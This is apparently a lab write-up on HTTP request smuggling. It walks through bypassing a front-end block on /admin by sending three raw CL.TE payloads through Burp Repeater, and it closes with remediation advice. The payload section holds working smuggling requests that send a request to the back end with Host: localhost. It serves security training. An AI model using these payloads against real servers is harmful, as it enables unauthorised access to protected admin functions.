**SCENARIO**

This application involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. There's an admin panel at /admin, but the front-end server blocks access to it. We will try to smuggle a request to the back-end server that accesses the admin panel.

**PROCEDURE**

1. Open the web application and try to visit the **/admin** page directly, we notice that the request got blocked due to front-end controls.
2. Using BurpSuite’s Repeater send a request to Payload 1 twice and we see that the merged request to /admin was rejected due to not using the header **Host: localhost**.
3. Send the request again after alteration like we did in Payload 2 and we got blocked due to the second request's Host header conflicting with the smuggled Host header in the first request.
4. We will append an empty parameter to the request so that we can mute all the other values of the original header.
5. Inject the Payload 3 in the Repeater tab and send the request twice, we see that we are now able to access the admin panel.

**PAYLOAD**

1. POST / HTTP/1.1

Host: YOUR-LAB-ID.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 37

Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

X-Ignore: X

1. POST / HTTP/1.1

Host: YOUR-LAB-ID.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 54

Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

Host: localhost

X-Ignore: X

1. POST / HTTP/1.1

Host: YOUR-LAB-ID.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 116

Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

Host: localhost

Content-Type: application/x-www-form-urlencoded

Content-Length: 10

x=

**REMEDIATION**

1. **Consistent Parsing:** Ensure that both front-end and back-end servers consistently handle HTTP request encodings. If the back-end server does not support chunked encoding, the front-end server should be configured to reject chunked encoded requests.
2. **Uniform Architecture:** Using a unified server architecture can help. Having both the front-end and back-end functionalities on one server can reduce discrepancies in request handling and eliminate the possibility of smuggling between the two.
3. **Network Segmentation:** Separate internal and external facing systems. This reduces the chances of an attacker reaching sensitive internal systems even if they manage to smuggle a request through an exposed endpoint.
4. **Strict Access Control:** Ensure strict access controls on sensitive endpoints like /admin. The back-end system should authenticate and authorize every request to such endpoints, regardless of how they are routed.
5. **Implement Web Application Firewalls (WAFs):** A WAF can inspect and filter HTTP traffic. It should be configured to detect and block anomalous requests, including those that might have been smuggled.